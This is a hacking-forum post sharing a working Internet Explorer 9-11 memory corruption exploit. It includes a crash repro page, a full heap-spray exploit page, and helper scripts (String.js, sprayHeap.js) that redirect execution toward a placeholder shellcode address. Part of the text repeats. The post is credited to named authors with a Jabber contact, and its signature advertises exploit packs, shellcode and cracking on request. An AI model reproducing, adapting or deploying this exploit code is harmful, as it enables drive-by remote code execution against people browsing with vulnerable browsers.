Microsoft Internet Explorer Memory Corruption Exploit 12-11-2016, 12:00 AM
#1
This crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9 & 10 & 11 A pointer set up to point to certain data on the stack can be used after that data has been removed from the stack.
This results in a stack-based analog to a heap use-after-free vulnerability. The stack memory where the data was stored can be modified by an attacker before it is used, allowing remote code execution.
Known affected software and attack vectors
Microsoft Internet Explorer 9/10/11
An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
Repro.html:
<!doctype html>
<script>
var oWindow = window.open("about:blank");
oWindow.execScript('window.oURIError = new URIError();oURIError.name = oURIError;')
try { "" + oWindow.oURIError; } catch(e) { }
try { "" + oWindow.oURIError; } catch(e) { }
</script>
This results in a stack-based analog to a heap use-after-free vulnerability. The stack memory where the data was stored can be modified by an attacker before it is used, allowing remote code execution.
Known affected software and attack vectors
Microsoft Internet Explorer 9/10/11
An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
Repro.html:
<!doctype html>
<script>
var oWindow = window.open("about:blank");
oWindow.execScript('window.oURIError = new URIError();oURIError.name = oURIError;')
try { "" + oWindow.oURIError; } catch(e) { }
try { "" + oWindow.oURIError; } catch(e) { }
</script>
Code:
Coderz : AVI / Reaktor / ChemSec
Greetz - Sinister.ly
Jabber - Reaktor@siph0n.pw
<!doctype html>
<script src="String.js"></script>
<script src="sprayHeap.js"></script>
<script>
function stackOverflowHighOnStack() {
stackOverflowHighOnStack.apply(0, new Array(0x2000));
}
function attack(pTarget) {
var axArgs = [];
while (axArgs.length < 0x200) axArgs.push((pTarget - 0x69C) >>> 1);
exceptionLowOnStackWithSpray();
function exceptionLowOnStackWithSpray() {
try {
(function(){}).apply(0, axArgs);
} catch (e) {
throw 0;
}
exceptionLowOnStackWithSpray.apply(0, axArgs);
}
}
var pSprayStartAddress = 0x09000000;
var dHeapSprayTemplate = {};
var pTarget = 0x28000201;
var pShellcode = 0x28000300;
dHeapSprayTemplate[pTarget] = pShellcode;
dHeapSprayTemplate[pShellcode] = 0xCCCCCCCC;
window.sHeapSprayBlock = createSprayBlock(dHeapSprayTemplate);
window.uHeapSprayBlockCount = getSprayBlockCount(dHeapSprayTemplate, pSprayStartAddress);
var oWindow = window.open("about:blank");
function prepare() {
window.asHeapSpray = new Array(opener.uHeapSprayBlockCount);
for (var i = 0; i < opener.uHeapSprayBlockCount; i++) {
asHeapSpray[i] = (opener.sHeapSprayBlock + "A").substr(0, opener.sHeapSprayBlock.length);
}
}
oWindow.eval("(" + prepare + ")();");
try {
String(oWindow.eval("({toString:" + stackOverflowHighOnStack + "})"));
} catch(e) {
oWindow.eval("(" + attack + ")(" + pTarget + ")");
}
</script>
<!--
String.js:
String.fromWord = function (wValue) {
// Return a BSTR that contains the desired DWORD in its string data.
return String.fromCharCode(wValue);
}
String.fromWords = function (awValues) {
// Return a BSTR that contains the desired DWORD in its string data.
return String.fromCharCode.apply(0, awValues);
}
String.fromDWord = function (dwValue) {
// Return a BSTR that contains the desired DWORD in its string data.
return String.fromCharCode(dwValue & 0xFFFF, dwValue >>> 16);
}
String.fromDWords = function (auValues) {
var asDWords = new Array(auValues.length);
for (var i = 0; i < auValues.length; i++) {
asDWords[i] = String.fromDWord(auValues[i]);
}
return asDWords.join("");
}
String.prototype.repeat = function (uCount) {
// Return the requested number of concatenated copies of the string.
var sRepeatedString = "",
uLeftMostBit = 1 << (Math.ceil(Math.log(uCount + 1) / Math.log(2)) - 1);
for (var uBit = uLeftMostBit; uBit > 0; uBit = uBit >>> 1) {
sRepeatedString += sRepeatedString;
if (uCount & uBit) sRepeatedString += this;
}
return sRepeatedString;
}
String.createBuffer = function(uSize, uIndexSize) {
// Create a BSTR of the right size to be used as a buffer of the requested size, taking into account the 4 byte
// "length" header and 2 byte "\0" footer. The optional argument uIndexSize can be 1, 2, 4 or 8, at which point the
// buffer will be filled with indices of said size (this is slower but useful for debugging).
if (!uIndexSize) return "\uDEAD".repeat(uSize / 2 - 3);
var auBufferCharCodes = new Array((uSize - 4) / 2 - 1);
var uMSB = uIndexSize == 8 ? 8 : 4; // Most significant byte.
for (var uCharIndex = 0, uByteIndex = 4; uCharIndex < auBufferCharCodes.length; uCharIndex++, uByteIndex +=2) {
if (uIndexSize == 1) {
auBufferCharCodes[uCharIndex] = uByteIndex + ((uByteIndex + 1) << 8);
} else {
// Set high bits to prevents both NULLs and valid pointers to userland addresses.
auBufferCharCodes[uCharIndex] = 0xF000 + (uByteIndex % uIndexSize == 0 ? uByteIndex & 0xFFF : 0);
}
}
return String.fromCharCode.apply([][0], auBufferCharCodes);
}
String.prototype.clone = function () {
// Create a copy of a BSTR in memory.
sString = this.substr(0, this.length);
sString.length;
return sString;
}
String.prototype.replaceDWord = function (uByteOffset, dwValue) {
// Return a copy of a string with the given dword value stored at the given offset.
// uOffset can be a value beyond the end of the string, in which case it will "wrap".
return this.replaceWord(uByteOffset, dwValue & 0xFFFF).replaceWord(uByteOffset + 2, dwValue >> 16);
}
String.prototype.replaceWord = function (uByteOffset, wValue) {
// Return a copy of a string with the given word value stored at the given offset.
// uOffset can be a value beyond the end of the string, in which case it will "wrap".
if (uByteOffset & 1) {
return this.replaceByte(uByteOffset, wValue & 0xFF).replaceByte(uByteOffset + 1, wValue >> 8);
} else {
var uCharIndex = (uByteOffset >>> 1) % this.length;
return this.substr(0, uCharIndex) + String.fromWord(wValue) + this.substr(uCharIndex + 1);
}
}
String.prototype.replaceByte = function (uByteOffset, bValue) {
// Return a copy of a string with the given byte value stored at the given offset.
// uOffset can be a value beyond the end of the string, in which case it will "wrap".
var uCharIndex = (uByteOffset >>> 1) % this.length,
wValue = this.charCodeAt(uCharIndex);
if (uByteOffset & 1) {
wValue = (wValue & 0xFF) + ((bValue & 0xFF) << 8);
} else {
wValue = (wValue & 0xFF00) + (bValue & 0xFF);
}
return this.substr(0, uCharIndex) + String.fromWord(wValue) + this.substr(uCharIndex + 1);
}
String.prototype.replaceBufferDWord = function (uByteOffset, uValue) {
// Return a copy of a BSTR with the given dword value store at the given offset.
if (uByteOffset & 1) throw new Error("uByteOffset (" + uByteOffset.toString(16) + ") must be Word aligned");
if (uByteOffset < 4) throw new Error("uByteOffset (" + uByteOffset.toString(16) + ") overlaps BSTR size dword.");
var uCharIndex = uByteOffset / 2 - 2;
if (uCharIndex == this.length - 1) throw new Error("uByteOffset (" + uByteOffset.toString(16) + ") overlaps BSTR terminating NULL.");
return this.substr(0, uCharIndex) + String.fromDWord(uValue) + this.substr(uCharIndex + 2);
}
sprayHeap.js:
console = window.console || {"log": function(){}};
function bad(pAddress) {
// convert a valid 32-bit pointer to an invalid one that is easy to convert
// back. Useful for debugging: use a bad pointer, get an AV whenever it is
// used, then fix pointer and continue with exception handled to have see what
// happens next.
return 0x80000000 + pAddress;
}
function blanket(dSpray_dwValue_pAddress, pAddress) {
// Can be used to store values that indicate offsets somewhere in the heap
// spray. Useful for debugging: blanket region, get an AV at an address
// that indicates where the pointer came from. Does not overwrite addresses
// at which data is already stored.
for (var uOffset = 0; uOffset < 0x40; uOffset += 4) {
if (!((pAddress + uOffset) in dSpray_dwValue_pAddress)) {
dSpray_dwValue_pAddress[pAddress + uOffset] = bad(((pAddress & 0xFFF) << 16) + uOffset);
}
}
}
var guSprayBlockSize = 0x02000000; // how much fragmentation do you want?
var guSprayPageSize = 0x00001000; // block alignment.
// Different versions of MSIE have different heap header sizes:
var sJSVersion;
try{
/*@cc_on @*/
sJSVersion = eval("@_jscript_version");
} catch(e) {
sJSVersion = "unknown"
};
var guHeapHeaderSize = {
"5.8": 0x24,
"9": 0x10, // MSIE9
"unknown": 0x10
}[sJSVersion]; // includes BSTR length
var guHeapFooterSize = 0x04;
if (!guHeapHeaderSize)
throw new Error("Unknown script version " + sJSVersion);
function createSprayBlock(dSpray_dwValue_pAddress) {
// Create a spray "page" and store spray data at the right offset.
var sSprayPage = "\uDEAD".repeat(guSprayPageSize >> 1);
for (var pAddress in dSpray_dwValue_pAddress) {
sSprayPage = sSprayPage.replaceDWord(pAddress % guSprayPageSize, dSpray_dwValue_pAddress[pAddress]);
}
// Create a spray "block" by concatinated copies of the spray "page", taking into account the header and footer
// used by MSIE for larger heap allocations.
var uSprayPagesPerBlock = Math.ceil(guSprayBlockSize / guSprayPageSize);
var sSprayBlock = (
sSprayPage.substr(guHeapHeaderSize >> 1) +
sSprayPage.repeat(uSprayPagesPerBlock - 2) +
sSprayPage.substr(0, sSprayPage.length - (guHeapFooterSize >> 1))
);
var uActualSprayBlockSize = guHeapHeaderSize + sSprayBlock.length * 2 + guHeapFooterSize;
if (uActualSprayBlockSize != guSprayBlockSize)
throw new Error("Assertion failed: spray block (" + uActualSprayBlockSize.toString(16) + ") should be " + guSprayBlockSize.toString(16) + ".");
console.log("createSprayBlock():");
console.log(" sSprayPage.length: " + sSprayPage.length.toString(16));
console.log(" uSprayPagesPerBlock: " + uSprayPagesPerBlock.toString(16));
console.log(" sSprayBlock.length: " + sSprayBlock.length.toString(16));
return sSprayBlock;
}
function getHeapBlockIndexForAddress(pAddress) {
return ((pAddress % guSprayPageSize) - guHeapHeaderSize) >> 1;
}
function getSprayBlockCount(dSpray_dwValue_pAddress, pStartAddress) {
pStartAddress = pStartAddress || 0;
var pTargetAddress = 0x0;
for (var pAddress in dSpray_dwValue_pAddress) {
pTargetAddress = Math.max(pTargetAddress, pAddress);
}
uSprayBlocksCount = Math.ceil((pTargetAddress - pStartAddress) / guSprayBlockSize);
console.log("getSprayBlockCount():");
console.log(" pTargetAddress: " + pTargetAddress.toString(16));
console.log(" uSprayBlocksCount: " + uSprayBlocksCount.toString(16));
return uSprayBlocksCount;
}
function sprayHeap(dSpray_dwValue_pAddress, pStartAddress) {
var uSprayBlocksCount = getSprayBlockCount(dSpray_dwValue_pAddress, pStartAddress);
// Spray the heap by making copies of the spray "block".
var asSpray = new Array(uSprayBlocksCount);
asSpray[0] = createSprayBlock(dSpray_dwValue_pAddress);
for (var uIndex = 1; uIndex < asSpray.length; uIndex++) {
asSpray[uIndex] = asSpray[0].clone();
}
return asSpray;
}
A wizard is never late, Nor is he early, He arrives precisely when he means to....
Exploits Packs, Exploits, Shellcode, Cracking, Reverse... Need it.. just ask.
Exploits Packs, Exploits, Shellcode, Cracking, Reverse... Need it.. just ask.

![[+]](https://sinister.li/images/modern/collapse_collapsed.png)